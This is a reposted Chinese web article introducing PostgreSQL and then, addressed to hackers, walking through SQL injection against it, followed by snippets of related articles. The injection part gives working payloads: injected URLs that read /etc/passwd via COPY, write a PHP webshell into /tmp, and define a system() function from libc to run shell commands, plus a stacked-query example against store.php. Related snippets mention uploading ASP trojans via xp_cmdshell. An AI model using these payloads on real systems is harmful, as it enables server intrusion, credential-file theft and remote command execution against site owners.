关于SQL注入,PHP例

转自互联网, 都是PHP的例子. 

PostgreSQL是一个强大开源的关系数据库系统.它经过了15年多的开发历程,一个经得起考验的体系结构,在可靠性、数据完整性和正确性方面赢得了极好的声誉.它运行在所有主要的操作系统上,包括Linux、UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64)和Windows. 它是完全符合ACID原则,完全支持外键、联合、视图、触发器和存储过程(多种语言)。

 

它包含了SQL92和SQL99的大部分数据类型,包括INTEGER,NUMERIC,BOOLEAN,CHAR,VARCHAR,DATE,INTERVAL和TIMESTAMP.它也支持存储二进制巨型对象,包括图片、声音和视频.它有本地编程接口,C/C++、Java、.Net、Perl、Python、Ruby、Tcl、ODBC,其中还有特别的文档.PostgreSQL以执行标准为傲。

 

它强有力地实现了ANSI-SQL 92/99标准.它充分支持子查询(包括FROM子句的子选择) 、提交读(read-committed)、序列化事务隔离级别.虽然PostgreSQL有一个完全关系系统编目(catalog)它自己支持每数据库多重纲要(schema),它的编目也可以通过SQL标准定义的纲要信息(Information Schema)来存取.数据完整性功能包括(复合)主键、限制和级联更新/删除的外键、CHECK约束、UNIQUE约束和非空约束.它也有许多扩展和高级功能.其中有为了方便按顺序自动增加列值,LIMIT/OFFSET允许返回部分结果集.PostgreSQL支持符合、惟一、局部和函数索引,可以使用B-tree,R-tree,hash,或者GiST存储方法中的任一个。

 

安装

 

1.windows下:在官网(http://www.postgresql.org)下载windows下安装包,目前最新版本是8.3的,这里需要注意下,安装PostgreSQL时会在系统用户中添加一个postgres用户,而且在windows下的Postgresql密码自带有类似于安全策略的东西,设置密码是需要复杂度和长度的限制.安装好后,需要配置系统环境变量,把../PostgreSQL/bin添加到系统环境变量,这样的话,可以直接在cmd中执行psql(类似于mysql在windows下的mysql.exe)。

 

2.*nix下安装:可以到官网下载相应的安装包或者在线安装,安装过程不会出现设置密码这个步骤,默认密码是空,使用psql的时候需要切换postgres用户登录就可以了。

 

基本语法

 

既然是数据库当然遵循SQL语言,create、insert、update等被称为PL/PgSQL,但不是很明确,一个数据库的语法太多了,只说下对小黑们有用的几个语法。

 

1.注释、结束标记、连接符

a.PostgreSQL既然遵循SQL语言,当然支持--注释;

b.PostgreSQL支持/*和/**/注释,这点类似于Mysql;

c.PostgreSQL数据库使用psql的时候,需要在命令后加上;(分号)或者是\g来表示语句已经结束以执行查询.

d.PostgreSQL是采用||符号来连接字符串的,注意使用^,小心|被转义。

 

2.自动匹配

PostgreSQL不像Mysql能够自动匹配字段,这点类似于oracle,所以在注入的时候要注意下,而且默认情况下是支持union查询的;

 

3.连接PostgreSQL

 

默认情况下是不给外连的,如果想远程管理PostgreSQL数据库的话,需要修改../PostgreSQL/data/pg_bha.conf文件,请参考        PostgreSQL学习手册.PostgreSQL默认用户是postgres(类似于mysql的root),默认端口是5432,默认系统库是postgres。

 

使用psql -h ip -d dataname -p port -U username,这里注意-U参数是大写,如果是本机采用默认安装的话,直接使用psql -U     postgres后会提示输入密码,正确输入密码后会出现postgres=#的字符(类似于mysql中的mysql>),就可以正常使用psql了。

 

\? 显示pgsql命令的说明

\h 显示sql命令的说明

\q 是退出

\l 是现实系统中所有的数据库

 

4.pgAdmin III和phpPgAdmin

a.pgAdmin III是PostgreSQL中自带的界面化数据库管理程序,可以查询PostgreSQL数据库中所有域、函数、序列、数据表结构及相关属性、触发器函数、视图等。

 

b.phpPgAdmin看名字就知道类似mysql的phpMyAdmin,是使用php开发的网页版数据库管理程序,功能非常强大,使用过phpMyAdmin的朋友   都知道phpMyAdmin的强大,phpPgAdmin针对PostgreSQL数据库一样强大。

 

注入PostgreSQL

 

既然PostgreSQL是RDBMS,所以系统中所有数据库的结构会保存系统库中,所以注入的时候就相对比较方便。由于注释方式和mysql是一样,如何判断是什么数据库?关于这点我也没有一个标准的答案,我想可以扫描5432端口(如何web和库没有分离的情况下),使用version()函数的返回结果来判断,直接使用查询语句如select * from pg_class/select * from pg_group的返回结果来判断数据库类型.由于PostgreSQL的目录页存在information_schema,我手上也没有PostgreSQL数据库的注射点,所以我也不知道能不能使用select schema_name from information_schema_schemata来判断,不好意思,关于使用information_schema只是我的想法,有条件的朋友验证下。

 

介绍下PostgreSQL中内置函数、表和视图在入侵的应用。

current_database()    当前数据库名字    

session_user          会话用户                         |

current_user          目前执行环境中的用户名   |这三个函数调用时候不需要加()

user                      和session_user一样          |

inet_client_port()    远程端口

cast(sourcetype AS targettype)   定义类型转换            

current_setting()     以查询形式获取setting_name 设置的当前值

convert()             编码转换

pg_stat_user_tables   存放系统所有表名的视图,关键字段是relname,使用select relname from pg_stat_user_tables limit offset,1 来达到逐个读取表名的目的

pg_stat_all_tables    和pg_stat_all_tables视图功能一样

pg_shadow             看到shadow大家是否想到/etc/shadow,此表包含数据库用户的信息,关键字段username、passwd和usesuper(超级用户的意思),不过此表被做了权限设置

pg_user               这个表结构和pg_shadow一样,不过此表的全局可读,passwd字段可能被清空或者加密

pg_group              定义组以及哪些用户属于哪个组的信息,关键字段groname

information_schema.columns 这个目录对象中保存了所有的字段,关键字段是column_name,使用select column_name from   information_columns where table_name=tablename limit offset,1这样就可以达到读取每个表名的字段

 

读文件

 

首先需要建立一个表,然后copy文件内容到表中,在读取表内容,思路是这样的

create table read (line text);

copy read from '/etc/passwd';alter table read add id serial--

select * from read;

drop read;

思路就是这样的,具体怎么使用就看大家自己发挥了(encode,^_^)

 

从PostgreSQL 8.2后加入了pg_file_read(text,text,bool)和pg_file_write(text,text,bool),看名字就应该知道是干什么用的吧,大家自己去挖掘吧!

<?php

 

if(empty($_GET['action']))

{

 

?>

<form action="?action=connect" method=POST>

<table>

<tr><td>pghost:</td><td><input type="text" name="pghost" size="30" value="127.0.0.1"></td></tr>

<tr><td>pgport:</td><td><input type="text" name="pgport" size="30" value="5432" ></td></tr>

<tr><td>dbname:</td><td><input type="text" name="pgdbname" size="30" value="postgres"></td></tr>

<tr><td>username:</td><td><input type="text" name="pgusername" size="30" value="postgres"></td></tr>

<tr><td>password:</td><td><input type="text" name="pgpassword" size="30" value=""></td></tr>

<tr><td> </td><td><input type="submit" name="submit" value="connect">   <input type="reset" name="reset" value="reset"></td></tr>

</form>

<p>

<?php

exit;

}

 

if(!empty($_GET['action']))//连接postgresql

{

if(!empty($_POST['pghost']))

$_SESSION['pghost']=$_POST['pghost'];

if(!empty($_POST['pgport']))

$_SESSION['pgport']=$_POST['pgport'];

if(!empty($_POST['pgdbname']))

$_SESSION['pgdbname']=$_POST['pgdbname'];

if(!empty($_POST['pgusername']))

$_SESSION['pgusername']=$_POST['pgusername'];

if(!empty($_POST['pgpassword']))

$_SESSION['pgpassword']=$_POST['pgpassword'];

$dbconn_string = "host= port= dbname= user= password=";      

$dbconn=pg_connect($dbconn_string);

 

if(!$dbconn)

{

die('failed linking to the server,please check <a href="javascript:history.back()">reset</a>' );

}

else

echo '^_^ connected successfully and the status is '.pg_connection_status($dbconn).'<br><br>';   

}

 

 

如何获得webshell

http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);

 

http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$$$);

 

 

http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;

 

如何读文件

http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);  

http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;  

http://127.0.0.1/postgresql.php?id=1;select * from myfile;

 

执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。

当然,这些的postgresql的数据库版本必须大于8.X。

 

创建一个system的函数:

CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT

 

创建一个输出表:

CREATE TABLE stdout(id serial, system_out text)

 

执行shell,输出到输出表内:

SELECT system(’uname -a > /tmp/test’)

 

copy 输出的内容到表里面;

COPY stdout(system_out) FROM ’/tmp/test’

 

从输出表内读取执行后的回显,判断是否执行成功

 

SELECT system_out FROM stdout

 

下面是测试例子

 

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS

’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out

ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

时间: 2025-01-26 11:16:14

关于SQL注入,PHP例的相关文章

电子商务网站SQL注入项目实战一例

故事A段:发现整站SQL对外输出:   有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况. 我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓我一跳: PS:2年前秋色园系列文章有分享一文是整站SQL打印用于分析网站性能,不过也只是本地优化调试,而服务器上也采用某特殊条件才打印. 于是把这赤祼祼的对外公开的SQL问题反映了过去,之后算是取消了.  故事B段:错误异常打印了SQL,诱人:    过了些许天,我又抽空看了看: 原始路径为:

关于SQL注入的几类错误和产生的原理

对于注入而言,错误提示是极其重要.所谓错误提示是指和正确页面不同的结果反馈,高手是很重视这个一点的,这对于注入点的精准判断至关重要.本问讨论下关于几类错误和他产生的原理,希望对读者有所帮助. 错误提示主要有逻辑错误和语法错误以及脚本运行错误三类. 一:逻辑错误 简单的例子是1=1 1=2这两个,1=1与1=2页面不同的原理是什么?以$sql = "select * from news where id=$_GET[id]"为例. select * from news where id=

SQL注入与ASP木马上传

木马|上传 SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法.1.SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件.文件内容:<%Set objFSO = Server.createObject("Scripting.FileSystemObject")Set objCountFile=objFSO.createTextFile(request("mypath"),True)objCountF

防范SQL注入攻击的代码

攻击 SQL注入式攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql命令以及进行其他方式的攻击,动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因.比如: 如果你的查询语句是select * from admin where username='"&user&"' and password='"&pwd&"'" 那么,如果我的用户名是:1' or '1'='1 那么,你的查询语句将会变成:

PHP+SQL 注入攻击的技术实现以及预防办法

1. php 配置文件 php.ini 中的 magic_quotes_gpc 选项没有打开,被置为 off 2. 开发者没有对数据类型进行检查和转义 不过事实上,第二点最为重要.我认为, 对用户输入的数据类型进行检查,向 MYSQL 提交正确的数据类型,这应该是一个 web 程序员最最基本的素质.但现实中,常常有许多小白式的 Web 开发者忘了这点, 从而导致后门大开. 为什么说第二点最为重要?因为如果没有第二点的保证,magic_quotes_gpc 选项,不论为 on,还是为 off,都有

SQL注入攻击的原理及其防范措施

攻击 ASP编程门槛很低,新手很容易上路.在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到.那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了.在界面的友好性.运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点.而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题.用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞,教育网里高校内部机构的一些网站这种漏洞

SQL注入不完全思路与防注入程序

程序|防注入 SQL注入不完全思路与防注入程序 [ 繁體中文 ] | 文章类别:数据库安全 | 文章等级: | 发表日期:2005-2-13  星期日 [ 计数器 | 精彩博客 | 魔法表情 | 博客申请 | 源码下载 | IP查询 | Html2Js ] 转自:动态网制作指南 www.knowsky.com <一>SQL注入简介 许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访

PHP与SQL注入攻击

攻击     SQL注入攻击是黑客攻击网站最常用的手段.如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击.SQL注入攻击通常通过给站点数据库提交不良的数据或查询语句来实现,很可能使数据库中的纪录遭到暴露,更改或被删除.下面来谈谈SQL注入攻击是如何实现的,又如何防范. 看这个例子: // supposed input$name = "ilia'; DELETE FROM users;";mysql_query("SELECT * FROM users WH

关于SQL注入防御函数

函数 刚刚在最爱白菜那里看到了一个SQL注入防御的函数,突然想起以前看到这些文章时的一直有个问题想不通的,我对于SQL注入的防御很简单,就以下两个函数: '####'##'## SQL注入攻击预防装置[字符型]'##'## @ data ->处理的数据'## @ length ->长度限制'##'## 例: strSql("SQL字符型数据",50)'##function strSql(data,length)'###############################